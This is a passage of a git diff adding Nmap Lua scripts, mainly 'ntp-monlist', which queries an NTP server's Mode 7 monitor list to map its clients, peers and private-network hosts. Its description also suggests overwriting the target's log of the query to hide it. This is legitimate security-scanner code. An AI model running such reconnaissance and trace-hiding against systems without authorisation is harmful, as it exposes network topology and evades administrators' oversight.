+ -- The NTP epoch is 1900-01-01, so subtract 70 years to bring the date into
+ -- the range Lua expects. The number of seconds at 1970-01-01 is taken from
+ -- the NTP4 reference above.
+ local tstamp = sec - 2208988800 + frac / 0x10000000
+
+ datetime.record_skew(host, tstamp, recvtime)
+
+ output["receive time stamp"] = datetime.format_timestamp(tstamp)
+ end
+
+ status, bufrlres = comm.exchange(host, port, rlreq, {timeout=TIMEOUT})
+
+ if status then
+ -- This only looks at the first fragment of what can possibly be several
+ -- fragments in the response.
+
+ -- Skip the first 10 bytes of the header, then get the data which is
+ -- preceded by a 2-byte length.
+ local data = string.unpack(">s2", bufrlres, 11)
+
+ -- loop over capture pairs which represent (key, value)
+ local function accumulate_output (...)
+ local k, v = ...
+ if k == nil then return end
+ output[k] = v
+ return accumulate_output(select(3, ...))
+ end
+
+ -- do the match and accumulate the captures
+ local list = kvmatch^0 / accumulate_output
+ list:match(data)
+ end
+
+ if(#output > 0) then
+ stdnse.debug1("Test len: %d", #output)
+ nmap.set_port_state(host, port, "open")
+ if output['version'] then
+ -- Look for the version string from the official ntpd and format it
+ -- in a manner similar to the output of the standard Nmap version detection
+ local version_num = string.match(output['version'],"^ntpd ([^ ]+)")
+ if version_num then
+ port.version.version = "v" .. version_num
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+ end
+ if output['system'] then
+ port.version.ostype = output['system']
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+ if nmap.verbosity() < 1 then
+ local mt = getmetatable(output)
+ mt["__tostring"] = function(t)
+ local out = {}
+ for _,k in ipairs(DEFAULT_FIELDS) do
+ if output[k] ~= nil then
+ table.insert(out, ("%s: %s"):format(k, output[k]))
+ end
+ end
+ return "\n " .. table.concat(out, "\n ")
+ end
+ end
+ return output
+ else
+ return nil
+ end
+end
diff --git a/scripts/ntp-monlist.nse b/scripts/ntp-monlist.nse
new file mode 100644
index 0000000..3ebe193
--- /dev/null
+++ b/scripts/ntp-monlist.nse
@@ -0,0 +1,1036 @@
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local packet = require "packet"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+author = "jah"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+description = [[
+Obtains and prints an NTP server's monitor data.
+
+Monitor data is a list of the most recently used (MRU) having NTP associations
+with the target. Each record contains information about the most recent NTP
+packet sent by a host to the target including the source and destination
+addresses and the NTP version and mode of the packet. With this information it
+is possible to classify associated hosts as Servers, Peers, and Clients.
+
+A Peers command is also sent to the target and the peers list in the response
+allows differentiation between configured Mode 1 Peers and clients which act
+like Peers (such as the Windows W32Time service).
+
+Associated hosts are further classified as either public or private.
+Private hosts are those
+having IP addresses which are not routable on the public Internet and thus can
+help to form a picture about the topology of the private network on which the
+target resides.
+
+Other information revealed by the monlist and peers commands are the host with
+which the target clock is synchronized and hosts which send Control Mode (6)
+and Private Mode (7) commands to the target and which may be used by admins for
+the NTP service.
+
+It should be noted that the very nature of the NTP monitor data means that the
+Mode 7 commands sent by this script are recorded by the target (and will often
+appear in these results). Since the monitor data is a MRU list, it is probable
+that you can overwrite the record of the Mode 7 command by sending an innocuous
+looking Client Mode request. This can be achieved easily using Nmap:
+<code>nmap -sU -pU:123 -Pn -n --max-retries=0 <target></code>
+
+Notes:
+* The monitor list in response to the monlist command is limited to 600 associations.
+* The monitor capability may not be enabled on the target in which case you may receive an error number 4 (No Data Available).
+* There may be a restriction on who can perform Mode 7 commands (e.g. "restrict noquery" in <code>ntp.conf</code>) in which case you may not receive a reply.
+* This script does not handle authenticating and targets expecting auth info may respond with error number 3 (Format Error).
+]]
+
+---
+-- @usage
+-- nmap -sU -pU:123 -Pn -n --script=ntp-monlist <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 123/udp open ntp udp-response
+-- | ntp-monlist:
+-- | Target is synchronised with 127.127.38.0 (reference clock)
+-- | Alternative Target Interfaces:
+-- | 10.17.4.20
+-- | Private Servers (0)
+-- | Public Servers (0)
+-- | Private Peers (0)
+-- | Public Peers (0)
+-- | Private Clients (2)
+-- | 10.20.8.69 169.254.138.63
+-- | Public Clients (597)
+-- | 4.79.17.248 68.70.72.194 74.247.37.194 99.190.119.152
+-- | ...
+-- | 12.10.160.20 68.80.36.133 75.1.39.42 108.7.58.118
+-- | 68.56.205.98
+-- | 2001:1400:0:0:0:0:0:1 2001:16d8:dd00:38:0:0:0:2
+-- | 2002:db5a:bccd:1:21d:e0ff:feb7:b96f 2002:b6ef:81c4:0:0:1145:59c5:3682
+-- | Other Associations (1)
+-- |_ 127.0.0.1 seen 1949869 times. last tx was unicast v2 mode 7
+
+-- This script uses the NTP sequence numbers and the 'more' bit found in
+-- response packets in order to determine when to stop the reception loop. It
+-- would be possible for a malicious target to tie-up this script by sending
+-- a continuous stream of UDP datagrams.
+-- Therefore MAXIMUM_EVIL has been defined to limit the number of malformed or
+-- duplicate packets that will be processed before a target is rejected and
+-- MAX_RECORDS simply limits the storage of valid looking NTP data to a sane
+-- level.
+local MAXIMUM_EVIL = 25
+local MAX_RECORDS = 1200
+
+local TIMEOUT = 5000 -- ms
+
+
+---
+-- ntp-monlist will run against the ntp service which only runs on UDP 123
+--
+portrule = shortport.port_or_service(123, 'ntp', {'udp'})
+
+---
+-- Send an NTPv2 Mode 7 'monlist' command to the target, receive any responses
+-- and parse records from those responses. If the target responds favourably
+-- then send a 'peers' command and parse the responses. Finally, categorise the
+-- discovered NTP associations (hosts) and output the interpreted results.
+--
+action = function(host, port)
+
+ -- Define the request code and implementation numbers of the NTP request to
+ -- send to the target.
+ local REQ_MON_GETLIST_1 = 42
+ local REQ_PEER_LIST = 0
+ local IMPL_XNTPD = 3
+
+ -- parsed records will be stored in this table.
+ local records = {['peerlist'] = {}}
+
+ -- send monlist command and fill the records table with the responses.
+ local inum, rcode = IMPL_XNTPD, REQ_MON_GETLIST_1
+ local sock = doquery(nil, host, port, inum, rcode, records)
+
+ -- end here if there are zero records.
+ if #records == 0 then
+ if sock then sock:close() end
+ return nil
+ end
+
+ -- send peers command and add the responses to records.peerlist.
+ rcode = REQ_PEER_LIST
+ sock = doquery(sock, host, port, inum, rcode, records)
+ if sock then sock:close() end
+
+ -- now we can interpret the collected records.
+ local interpreted = interpret(records, host.ip)
+
+ -- output.
+ return summary(interpreted)
+
+end
+
+
+---
+-- Sends NTPv2 Mode 7 requests to the target, receives any responses and parses
+-- records from those responses.
+--
+-- @param sock Socket object which must be supplied in a connected state.
+-- nil may be supplied instead and a socket will be created.
+-- @param host Nmap host table for the target.
+-- @param port Nmap port table for the target.
+-- @param inum NTP implementation number (i.e. 0, 2 or 3).
+-- @param rcode NTP Mode 7 request code (e.g. 42 for 'monlist').
+-- @param records Table in which to store records parsed from responses.
+-- @return sock Socket object connected to the target.
+--
+function doquery(sock, host, port, inum, rcode, records)
+
+ local target = ('%s%s%d'):format(
+ host.ip, host.ip:match(':') and '.' or ':', port.number
+ )
+ records.badpkts = records.badpkts or 0
+ records.peerlist = records.peerlist or {}
+
+ if #records + #records.peerlist >= MAX_RECORDS then
+ stdnse.debug1('MAX_RECORDS has been reached for target %s - only processing what we have already!', target)
+ if sock then sock:close() end
+ return nil
+ end
+
+ -- connect a new socket if one wasn't supplied
+ if not sock then
+ sock = nmap.new_socket()
+ sock:set_timeout(TIMEOUT)
+ local constatus, conerr = sock:connect(host, port)
+ if not constatus then
+ stdnse.debug1('Error establishing a UDP connection for %s - %s', target, conerr)
+ return nil
+ end
+ end
+
+ -- send
+ stdnse.debug2('Sending NTPv2 Mode 7 Request %d Implementation %d to %s.', rcode, inum, target)
+ local ntpData = getPrivateMode(inum, rcode)
+ local sendstatus, senderr = sock:send(ntpData)
+ if not sendstatus then
+ stdnse.debug1('Error sending NTP request to %s:%d - %s', host.ip, port.number, senderr)
+ sock:close()
+ return nil
+ end
+
+ local track = {
+ ['evil_pkts'] = records.badpkts, -- a count of bad packets
+ ['hseq'] = -1, -- highest received seq number
+ ['mseq'] = '|', -- missing seq numbers
+ ['errcond'] = false, -- true if sock, ntp or sane response error exists
+ ['rcv_again'] = false, -- true if we should receive_bytes again (more bit is set or missing seq).
+ ['target'] = target, -- target ip and port
+ ['v'] = 2, -- ntp version
+ ['m'] = 7, -- ntp mode
+ ['c'] = rcode, -- ntp request code
+ ['i'] = inum -- ntp request implementation number
+ }
+
+ -- receive and parse
+ repeat
+ -- receive any response
+ local rcvstatus, response = sock:receive_bytes(1)
+ -- check the response
+ local packet_to_parse = check(rcvstatus, response, track)
+ -- parse the response
+ if not track.errcond then
+ local remain = parse_v2m7(packet_to_parse, records)
+ if remain > 0 then
+ stdnse.debug1('MAX_RECORDS has been reached while parsing NTPv2 Mode 7 Code %d responses from the target %s.', rcode, target)
+ track.rcv_again = false
+ elseif remain == -1 then
+ stdnse.debug1('Parsing of NTPv2 Mode 7 implementation number %d request code %d response from %s has not been implemented.', inum, rcode, target)
+ track.rcv_again = false
+ end
+ end
+ records.badpkts = records.badpkts + track.evil_pkts
+ if records.badpkts >= MAXIMUM_EVIL then
+ stdnse.debug1('Had %d bad packets from %s - Not continuing with this host!', target, records.badpkts)
+ sock:close()
+ return nil
+ end
+
+ until not track.rcv_again
+
+ return sock
+
+end
+
+
+---
+-- Generates an NTP Private Mode (7) request with the supplied implementation
+-- number and request code.
+--
+-- @param impl number - valid values are 0, 2 and 3 - defaults to 3
+-- @param requestCode number - defaults to 42
+-- @return String request.
+--
+function getPrivateMode(impl, requestCode)
+ local pay
+ -- udp payload is 48 bytes.
+ -- For a description of Mode 7 packets see NTP source file:
+ -- include/ntp_request.h
+ --
+ -- Flags 8bits: 0x17
+ -- (Response Bit: 0, More Bit: 0, Version Number 3bits: 2, Mode 3bits: 7)
+ -- Authenticated Bit: 0, Sequence Number 7bits: 0
+ -- Implementation Number 8bits: e.g. 0x03 (IMPL_XNTPD)
+ -- Request Code 8bits: e.g. 0x2a (MON_GETLIST_1)
+ -- Err 4bits: 0, Number of Data Items 12bits: 0
+ -- MBZ 4bits: 0, Size of Data Items 12bits: 0
+ return string.char(
+ 0x17, 0x00, impl or 0x03, requestCode or 0x2a,
+ 0x00, 0x00, 0x00, 0x00
+ )
+ -- Data 40 Octets: 0
+ .. ("\x00"):rep(40)
+ -- The following are optional if the Authenticated bit is set:
+ -- Encryption Keyid 4 Octets: 0
+ -- Message Authentication Code 16 Octets (MD5): 0
+end
+
+
+---
+-- Checks that the response from the target is a valid NTP response.
+--
+-- Starts by checking that the socket read was successful and then creates a
+-- packet object from the response (with dummy IP and UDP headers). Then
+-- perform checks that ensure that the response is of the expected type and
+-- length, that the records in the response are of the correct size and that
+-- the response is part of a sequence of 1 or more responses and is not a
+-- duplicate.
+--
+-- @param status boolean returned from a socket read operation.
+-- @param response string response returned from a socket operation.
+-- @param track table used for tracking a sequence of NTP responses.
+-- @return A Packet object ready for parsing or
+-- nil if the response does not pass all checks.
+--
+function check(status, response, track)
+
+ -- check for socket error
+ if not status then
+ track.errcond = true
+ track.rcv_again = false
+ if track.rcv_again then -- we were expecting more responses
+ stdnse.debug1('Socket error while reading from %s - %s', track.target, response)
+ end
+ return nil
+ end
+
+ -- reset flags
+ track.errcond = false
+ track.rcv_again = false
+
+ -- create a packet object
+ local pkt = make_udp_packet(response)
+ if pkt == nil then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Failed to create a Packet object with response from %s', track.target)
+ return nil
+ end
+
+ -- off is the start of udp payload i.e. NTP
+ local off = 28
+
+ -- NTP sanity checks
+
+ local val
+
+ -- NTP data must be at least 8 bytes
+ val = response:len()
+ if val < 8 then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Expected a response of at least 8 bytes from %s, got %d bytes.', track.target, val)
+ return nil
+ end
+
+ -- response bit set
+ if (pkt:u8(off) >> 7) ~= 1 then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Bad response from %s - did not have response bit set.', track.target)
+ return nil
+ end
+ -- version is as expected
+ val = (pkt:u8(off) >> 3) & 0x07
+ if val ~= track.v then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Bad response from %s - expected NTP version %d, got %d', track.target, track.v, val)
+ return nil
+ end
+ -- mode is as expected
+ val = pkt:u8(off) & 0x07
+ if val ~= track.m then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Bad response from %s - expected NTP mode %d, got %d', track.target, track.m, val)
+ return nil
+ end
+ -- implementation number is as expected
+ val = pkt:u8(off+2)
+ if val ~= track.i then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Bad response from %s - expected NTP implementation number %d, got %d', track.target, track.i, val)
+ return nil
+ end
+ -- request code is as expected
+ val = pkt:u8(off+3)
+ if val ~= track.c then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Bad response from %s - expected NTP request code %d got %d.', track.target, track.c, val)
+ return nil
+ end
+ -- NTP error conditions - defined codes are not evil (bogus codes are).
+ local fail, msg = false
+ local err = (pkt:u8(off+4) >> 4) & 0x0f
+ if err == 0 then
+ -- NoOp
+ elseif err == 1 then
+ fail = true
+ msg = 'Incompatible Implementation Number'
+ elseif err == 2 then
+ fail = true
+ msg = 'Unimplemented Request Code'
+ elseif err == 3 then
+ fail = true
+ msg = 'Format Error' -- could be that auth is required - we didn't provide it.
+ elseif err == 4 then
+ fail = true
+ msg = 'No Data Available' -- monitor not enabled or nothing in mru list.
+ elseif err == 5 or err == 6 then
+ fail = true
+ msg = 'I don\'t know'
+ elseif err == 7 then
+ fail = true
+ msg = 'Authentication Failure'
+ elseif err > 7 then
+ fail = true
+ track.evil_pkts = track.evil_pkts+1
+ msg = 'Bogus Error Code!' -- should not happen...
+ end
+ if fail then
+ track.errcond = true
+ stdnse.debug1('Response from %s was NTP Error Code %d - "%s"', track.target, err, msg)
+ return nil
+ end
+
+ -- length checks - the data (number of items * size of an item) should be
+ -- 8 <= data <= 500 and each data item should be of correct length for the
+ -- implementation and request type.
+
+ -- Err 4 bits, Number of Data Items 12 bits
+ local icount = pkt:u16(off+4) & 0xFFF
+ -- MBZ 4 bits, Size of Data Items: 12 bits
+ local isize = pkt:u16(off+6) & 0xFFF
+ if icount < 1 then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('Expected at least one record from %s.', track.target)
+ return nil
+ elseif icount*isize + 8 > response:len() then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('NTP Mode 7 response from %s has invalid count (%d) and/or size (%d) values.', track.target, icount, isize)
+ return nil
+ elseif icount*isize > 500 then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1('NTP Mode 7 data section is larger than 500 bytes (%d) in response from %s.', icount*isize, track.target)
+ return nil
+ end
+
+ if track.c == 42 and track.i == 3 and isize ~= 72 then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1(
+ 'Expected item size of 72 bytes (got %d) for request code 42 implementation number 3 in response from %s.',
+ isize, track.target
+ )
+ return nil
+ elseif track.c == 0 and track.i == 3 and isize ~= 32 then
+ track.errcond = true
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1(
+ 'Expected item size of 32 bytes (got %d) for request code 0 implementation number 3 in response from %s.',
+ isize, track.target
+ )
+ return nil
+ end
+
+ -- is the response out of sequence, a duplicate or is it peachy
+ local seq = pkt:u8(off+1) & 0x7f
+ if seq == track.hseq+1 then -- all good
+ track.hseq = track.hseq+1
+ elseif track.mseq:match(('|%d|'):format(seq)) then -- one of our missing seq#
+ track.mseq:gsub(('|%d|'):format(seq), '|', 1)
+ stdnse.debug3('Response from %s with sequence number %s was previously missing.', -- this never seems to happen!
+ track.target, seq
+ )
+ elseif seq > track.hseq then -- some seq# have gone missing
+ for i=track.hseq+1, seq-1 do
+ track.mseq = ('%s%d|'):format(track.mseq, i)
+ end
+ stdnse.debug3(
+ 'Response from %s was out of sequence - expected #%d but got #%d (missing:%s)',
+ track.target, track.hseq+1, seq, track.mseq
+ )
+ track.hseq = seq
+ else -- seq <= hseq !duplicate!
+ track.evil_pkts = track.evil_pkts+1
+ stdnse.debug1(
+ 'Response from %s had a duplicate sequence number - dropping it.',
+ track.target
+ )
+ return nil
+ end
+
+ -- if the more bit is set or if we have missing sequence numbers then we'll
+ -- want to receive more packets after parsing this one.
+ local more = (pkt:u8(off) >> 6) & 0x01
+ if more == 1 then
+ track.rcv_again = true
+ elseif track.mseq:len() > 1 then
+ track.rcv_again = true
+ end
+
+ return pkt
+
+end
+
+
+---
+-- Returns a Packet Object generated with dummy IP and UDP headers and the
+-- supplied UDP payload so that the payload may be conveniently parsed using
+-- packet library methods. The dummy headers contain the barest information
+-- needed to appear valid to packet.lua
+--
+-- @param response String UDP payload.
+-- @return Packet object or nil in case of an error.
+--
+function make_udp_packet(response)
+
+ -- udp len
+ local udplen = 8 + response:len()
+ -- ip len
+ local iplen = 20 + udplen
+
+ -- dummy headers
+ -- ip
+ local dh = "\x45\x00" -- IPv4, 20-byte header, no DSCP, no ECN
+ .. string.pack('>I2', iplen) -- total length
+ .. "\x00\x00" -- IPID 0
+ .. "\x40\x00" -- DF
+ .. "\x40\x11" -- TTL 0x40, UDP (proto 17)
+ .. "\x00\x00" -- checksum 0
+ .. "\x00\x00\x00\x00\x00\x00\x00\x00" -- Source, destination 0.0.0.0
+ .. "\x00\x00\x00\x00" -- UDP source, dest port 0
+ .. string.pack('>I2', udplen) -- UDP length
+ .. "\x00\x00" -- UDP checksum 0
+
+ return packet.Packet:new(dh .. response, iplen)
+
+end
+
+
+---
+-- Invokes parsing routines for NTPv2 Mode 7 response packets based on the
+-- implementation number and request code defined in the response.
+--
+-- @param pkt Packet Object to be parsed.
+-- @param recs Table to hold the accumulated records parsed from supplied
+-- packet objects.
+-- @return Number of records not parsed from the packet (usually zero) or
+-- -1 if the response does not have an associated parsing routine.
+--
+function parse_v2m7(pkt, recs)
+ local off = pkt.udp_offset + 8
+ local impl = pkt:u8(off+2)
+ local code = pkt:u8(off+3)
+ if (impl == 3 or impl == 2) and code == 42 then
+ return parse_monlist_1(pkt, recs)
+ elseif (impl == 3 or impl == 2) and code == 0 then
+ return parse_peerlist(pkt, recs)
+ else
+ return -1
+ end
+end
+
+
+---
+-- Parsed records from the supplied monitor list packet into the supplied table
+-- of accumulated records.
+--
+-- The supplied response packets should be NTPv2 Mode 7 implementation number 2
+-- or 3 and request code 42.
+-- The fields parsed are the source and destination IP addresses, the count of
+-- times the target has seen the host, the method of transmission (uni|broad|
+-- multicast), NTP Version and Mode of the last packet received by the target
+-- from the host.
+--
+-- @param pkt Packet object to extract monitor records from.
+-- @param recs A table of accumulated monitor records for storage of parsed
+-- records.
+-- @return Number of records not parsed from the packet which will be zero
+-- except when MAX_RECORDS is reached.
+--
+function parse_monlist_1(pkt, recs)
+
+ local off = pkt.udp_offset + 8 -- beginning of NTP
+ local icount = pkt:u16(off+4) & 0xFFF
+ local isize = pkt:u16(off+6) & 0xFFF
+ local remaining = icount
+
+ off = off+8 -- beginning of data section
+
+ for i=1, icount, 1 do
+ if #recs + #recs.peerlist >= MAX_RECORDS then
+ return remaining
+ end
+ local pos = off + isize * (i-1) -- beginning of item
+ local t = {}
+
+ -- src and dst addresses
+ -- IPv4 if impl == 2 or v6 flag is not set
+ if isize == 32 or pkt:u8(pos+32) ~= 1 then -- IPv4
+ local saddr = ipOps.str_to_ip(pkt:raw(pos+16, 4))
+ local daddr = ipOps.str_to_ip(pkt:raw(pos+20, 4))
+ t.saddr = saddr
+ t.daddr = daddr
+ else -- IPv6
+ local saddr = {}
+ for j=40, 54, 2 do
+ saddr[#saddr+1] = stdnse.tohex(pkt:u16(pos+j))
+ end
+ t.saddr = table.concat(saddr, ':')
+ local daddr = {}
+ for j=56, 70, 2 do
+ daddr[#daddr+1] = stdnse.tohex(pkt:u16(pos+j))
+ end
+ t.daddr = table.concat(daddr, ':')
+ end
+
+ t.count = pkt:u32(pos+12)
+ t.flags = pkt:u32(pos+24)
+ -- I've seen flags be wrong-endian just once. why? I really don't know.
+ -- Some implementations are not doing htonl for this field?
+ if t.flags > 0xFFFFFF then
+ -- only concerned with the high order byte
+ t.flags = t.flags >> 24
+ end
+ t.mode = pkt:u8(pos+30)
+ t.version = pkt:u8(pos+31)
+ recs[#recs+1] = t
+ remaining = remaining -1
+ end
+
+ return remaining
+end
+
+
+---
+-- Parsed records from the supplied peer list packet into the supplied table of
+-- accumulated records.
+--
+-- The supplied response packets should be NTPv2 Mode 7 implementation number 2
+-- or 3 and request code 0.
+-- The fields parsed are the source IP address and the peer information flag.
+--
+-- @param pkt Packet object to extract peer records from.
+-- @param recs A table of accumulated monitor and peer records for storage of
+-- parsed records.
+-- @return Number of records not parsed from the packet which will be zero
+-- except when MAX_RECORDS is reached.
+--
+function parse_peerlist(pkt, recs)
+
+ local off = pkt.udp_offset + 8 -- beginning of NTP
+ local icount = pkt:u16(off+4) & 0xFFF
+ local isize = pkt:u16(off+6) & 0xFFF
+ local remaining = icount
+
+ off = off+8 -- beginning of data section
+
+ for i=0, icount-1, 1 do
+ if #recs + #recs.peerlist >= MAX_RECORDS then
+ return remaining
+ end
+ local pos = off + (i * isize) -- beginning of item
+ local t = {}
+
+ -- src address
+ -- IPv4 if impl == 2 or v6 flag is not set
+ if isize == 8 or pkt:u8(pos+8) ~= 1 then
+ local saddr = ipOps.str_to_ip(pkt:raw(pos, 4))
+ t.saddr = saddr
+ else -- IPv6
+ local saddr = {}
+ for j=16, 30, 2 do
+ saddr[#saddr+1] = stdnse.tohex(pkt:u16(pos+j))
+ end
+ t.saddr = table.concat(saddr, ':')
+ end
+
+ t.flags = pkt:u8(pos+7)
+ table.insert(recs.peerlist, t)
+ remaining = remaining -1
+ end
+
+ return remaining
+end
+
+
+---
+-- Interprets the supplied records to discover information about the target
+-- NTP associations.
+--
+-- Associations are categorised as NTP Servers, Peers and Clients based on the
+-- Mode of packets sent to the target. Alternative target interfaces are
+-- recorded as well as the transmission mode of packets sent to the target (i.e.
+-- unicast, broadcast or multicast).
+--
+-- @param recs A table of accumulated monitor and peer records for storage
+-- of parsed records.
+-- @param targetip String target IP address (e.g. host.ip)
+-- @return Table of interpreted results with fields such as servs, clients,
+-- peers, ifaces etc.
+--
+function interpret(recs, targetip)
+ local txtyp = {
+ ['1'] = 'unicast',
+ ['2'] = 'broadcast',
+ ['4'] = 'multicast'
+ }
+ local t = {}
+ t.servs = {['pub']={['4']={},['6']={}}, ['prv']={['4']={},['6']={}}}
+ t.peers = {['pub']={['4']={},['6']={}}, ['prv']={['4']={},['6']={}}}
+ t.porc = {['pub']={['4']={},['6']={}}, ['prv']={['4']={},['6']={}}}
+ t.clients = {['pub']={['4']={},['6']={}}, ['prv']={['4']={},['6']={}}}
+ t.casts = {['b']={['4']={},['6']={}}, ['m']={['4']={},['6']={}}}
+ t.ifaces = {['4']={},['6']={}}
+ t.other = {}
+ t.sync = ''
+ if #recs.peerlist > 0 then
+ t.have_peerlist = true
+ recs.peerhash = {}
+ for _, peer in ipairs(recs.peerlist) do
+ recs.peerhash[peer.saddr] = peer
+ end
+ else
+ t.have_peerlist = false
+ end
+
+ for _, r in ipairs(recs) do
+ local vis = ipOps.isPrivate(r.saddr) and 'prv' or 'pub'
+ local af = r.saddr:match(':') and '6' or '4'
+
+ -- is the host a client, peer, server or other?
+ if r.mode == 3 then
+ table.insert(t.clients[vis][af], r.saddr)
+ elseif r.mode == 4 then
+ table.insert(t.servs[vis][af], r.saddr)
+ elseif r.mode == 2 then
+ table.insert(t.peers[vis][af], r.saddr)
+ elseif r.mode == 1 then
+
+ -- if we have a list of peers we can distinguish between mode 1 peers and
+ -- mode 1 peers that are really clients (i.e. not configured as peers).
+ if t.have_peerlist then
+ if recs.peerhash[r.saddr] then
+ table.insert(t.peers[vis][af], r.saddr)
+ else
+ table.insert(t.clients[vis][af], r.saddr)
+ end
+ else
+ table.insert(t.porc[vis][af], r.saddr)
+ end
+
+ elseif r.mode == 5 then
+ table.insert(t.servs[vis][af], r.saddr)
+ else
+ local tx = tostring(r.flags)
+ table.insert(
+ t.other,
+ ('%s%s seen %d time%s. last tx was %s v%d mode %d'):format(
+ r.saddr, _ == 1 and ' (You?)' or '', r.count,
+ r.count > 1 and 's' or '',
+ txtyp[tx] or tx, r.version, r.mode
+ )
+ )
+ end
+
+ local function isLoopback(addr)
+ if addr:match(':') then
+ if ipOps.compare_ip(addr, 'eq', '::1') then return true end
+ elseif addr:match('^127') then
+ return true
+ end
+ return false
+ end
+
+ -- destination addresses are target interfaces or broad/multicast addresses.
+ if not isLoopback(r.daddr) then
+ if r.flags == 1 then
+ t.ifaces[af][r.daddr] = r.daddr
+ elseif r.flags == 2 then
+ t.casts.b[af][r.daddr] = r.daddr
+ elseif r.flags == 4 then
+ t.casts.m[af][r.daddr] = r.daddr
+ else -- shouldn't happen
+ stdnse.debug1(
+ 'Host associated with %s had transmission flag value %d - Strange!',
+ targetip, r.flags
+ )
+ end
+ end
+
+ end -- for
+
+ local function isTarget(addr, target)
+ local targ_af = target:match(':') and 6 or 4
+ local test_af = addr:match(':') and 6 or 4
+ if test_af ~= targ_af then return false end
+ if targ_af == 4 and addr == target then return true end
+ if targ_af == 6
+ and (ipOps.compare_ip(addr, 'eq', target)) then return true end
+ return false
+ end
+
+ -- reorganise ifaces and casts tables
+ local _ = {}
+ for k, v in pairs(t.ifaces['4']) do
+ if not isTarget(v, targetip) then
+ _[#_+1] = v
+ end
+ end
+ t.ifaces['4'] = _
+ _ = {}
+ for k, v in pairs(t.ifaces['6']) do
+ if not isTarget(v, targetip) then
+ _[#_+1] = v
+ end
+ end
+ t.ifaces['6'] = _
+ _ = {}
+ for k, v in pairs(t.casts.b['4']) do
+ _[#_+1] = v
+ end
+ t.casts.b['4'] = _
+ _ = {}
+ for k, v in pairs(t.casts.b['6']) do
+ _[#_+1] = v
+ end
+ t.casts.b['6'] = _
+ _ = {}
+ for k, v in pairs(t.casts.m['4']) do
+ _[#_+1] = v
+ end
+ t.casts.m['4'] = _
+ _ = {}
+ for k, v in pairs(t.casts.m['6']) do
+ _[#_+1] = v
+ end
+ t.casts.m['6'] = _
+
+ -- Single out the server to which the target is synched.
+ -- Note that this server may not even appear in the monlist - it depends how
+ -- busy the server is.
+ if t.have_peerlist then
+ for _, peer in ipairs(recs.peerlist) do
+ if (peer.flags & 0x2) == 0x2 then
+ t.sync = peer.saddr
+ if peer.saddr:match('^127') then -- always IPv4, never IPv6!
+ t.sync = t.sync .. ' (reference clock)'
+ end
+ break
+ end
+ end
+ end
+
+ return t
+
+end
+
+
+---
+-- Outputs the supplied table of interpreted records.
+--
+-- @param t Table of interpreted records as returned from interpret().
+-- @return String script output.
+--
+function summary(t)
+
+ local o = {}
+ local count = 0
+ local vbs = nmap.verbosity()
+
+ -- Target is Synchronised with:
+ if t.sync ~= '' then
+ table.insert(o, ('Target is synchronised with %s'):format(t.sync))
+ end
+
+ -- Alternative Target Interfaces
+ if #t.ifaces['4'] > 0 or #t.ifaces['6'] > 0 then
+ table.insert(o,
+ {
+ ['name'] = 'Alternative Target Interfaces:',
+ output_ips(t.ifaces)
+ }
+ )
+ end
+
+ -- Target listens to Broadcast Addresses
+ if #t.casts.b['4'] > 0 or #t.casts.b['6'] > 0 then
+ table.insert(o,
+ {
+ ['name'] = 'Target listens to Broadcast Addresses:',
+ output_ips(t.casts.b)
+ }
+ )
+ end
+
+ -- Target listens to Multicast Addresses
+ if #t.casts.m['4'] > 0 or #t.casts.m['6'] > 0 then
+ table.insert(o,
+ {
+ ['name'] = 'Target listens to Multicast Addresses:',
+ output_ips(t.casts.m)
+ }
+ )
+ end
+
+ -- Private Servers
+ count = #t.servs.prv['4']+#t.servs.prv['6']
+ if count > 0 or vbs > 1 then
+ table.insert(o,
+ {
+ ['name'] = ('Private Servers (%d)'):format(count),
+ output_ips(t.servs.prv)
+ }
+ )
+ end
+ -- Public Servers
+ count = #t.servs.pub['4']+#t.servs.pub['6']
+ if count > 0 or vbs > 1 then
+ table.insert(o,
+ {
+ ['name'] = ('Public Servers (%d)'):format(count),
+ output_ips(t.servs.pub)
+ }
+ )
+ end
+
+ -- Private Peers
+ count = #t.peers.prv['4']+#t.peers.prv['6']
+ if count > 0 or vbs > 1 then
+ table.insert(o,
+ {
+ ['name'] = ('Private Peers (%d)'):format(count),
+ output_ips(t.peers.prv)
+ }
+ )
+ end
+ -- Public Peers
+ count = #t.peers.pub['4']+#t.peers.pub['6']
+ if count > 0 or vbs > 1 then
+ table.insert(o,
+ {
+ ['name'] = ('Public Peers (%d)'):format(count),
+ output_ips(t.peers.pub)
+ }
+ )
+ end
+
+ -- Private Peers or Clients
+ count = #t.porc.prv['4']+#t.porc.prv['6']
+ if not t.have_peerlist and (count > 0 or vbs > 1) then
+ table.insert(o,
+ {
+ ['name'] = ('Private Peers or Clients (%d)'):format(count),
+ output_ips(t.porc.prv)
+ }
+ )
+ end
+ -- Public Peers or Clients
+ count = #t.porc.pub['4']+#t.porc.pub['6']
+ if not t.have_peerlist and (count > 0 or vbs > 1) then
+ table.insert(o,
+ {
+ ['name'] = ('Public Peers or Clients (%d)'):format(count),
+ output_ips(t.porc.pub)
+ }
+ )
+ end
+
+ -- Private Clients
+ count = #t.clients.prv['4']+#t.clients.prv['6']
+ if count > 0 or vbs > 1 then
+ table.insert(o,
+ {
